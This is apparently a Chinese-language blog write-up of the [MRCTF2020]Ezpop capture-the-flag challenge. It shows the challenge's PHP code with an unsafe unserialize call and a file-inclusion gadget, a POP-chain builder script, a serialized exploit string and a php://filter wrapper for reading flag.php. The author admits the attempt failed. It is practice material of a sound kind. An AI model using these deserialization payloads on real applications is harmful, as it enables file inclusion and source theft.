[MRCTF2020]Ezpop

php 复制代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

Modifier:当该对象被当作函数调用时,能文件包含。

Test:当该对象的不可访问属性被访问时,能调用函数。

Show:反序列化起点

思路:首先通过Show中_tostring return 一个Test对象中不存在属性,从而将Modifier对象当作函数调用,然后包含flag.php文件。不知道include(flag.php)能不能看到源码。

构造playload:

php 复制代码
$a = new Show;
$a->source = new Show;
$a->source->str = new Test;
$b = new Modifier;
$b->var = "flag.php";//需要先修改可见性为public
$a->source->str->p = $b;
echo serialize($a);

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"var";s:8:"flag.php";}}}s:3:"str";N;}

访问一下果然没有任何回显。那怎么获得flag.php中的内容呢?

难道能利用伪协议?试试看将$b->var改为"php://filter/convert.base64-encode/resource=flag.php"

仍然不行,看一下答案吧...

问题在于我将b中的var变量的可见性由protected改成了public?为什么这样就出现问题了呢,我记得上次一道题目中这样改是没有问题的呀!

唯一的区别就在于上次那道题目改的直接是序列化对象字符串,这道题改的是pop链中的一个对象。

下次做php反序列化题目的时候能不改可见性就不改吧,除非题目将其作为了一个考点那就可以尝试。

相关推荐
鹏多多.9 小时前
flutter-使用AnimatedDefaultTextStyle实现文本动画
android·前端·css·flutter·ios·html5·web
OEC小胖胖14 小时前
幕后英雄 —— Background Scripts (Service Worker)
开发语言·前端·javascript·浏览器·web·扩展
姜 萌@cnblogs2 天前
【实战】让AI理解用户的文化背景:开源项目Saga Reader自动翻译的技术实现
ai·web·tauri
JosieBook2 天前
【web应用】若依框架:基础篇18-二次开发-菜品管理
web·若依
诗人不说梦^3 天前
[极客大挑战 2019]RCE ME
web·ctf
zyk_computer3 天前
Redis 实现互斥锁解决Redis击穿
java·数据库·redis·后端·缓存·性能优化·web
777sea3 天前
NSS-DAY17 2025SWPU-NSSCTF
网络安全·ctf
m1cr0wave4 天前
[CISCN 2022 初赛]online_crt
安全·web
一只小风华~4 天前
JavaScript:Ajax(异步通信技术)
前端·javascript·ajax·web
凤年徐6 天前
解锁网页魔法:零基础HTML通关秘籍
前端·javascript·css·前端框架·html·web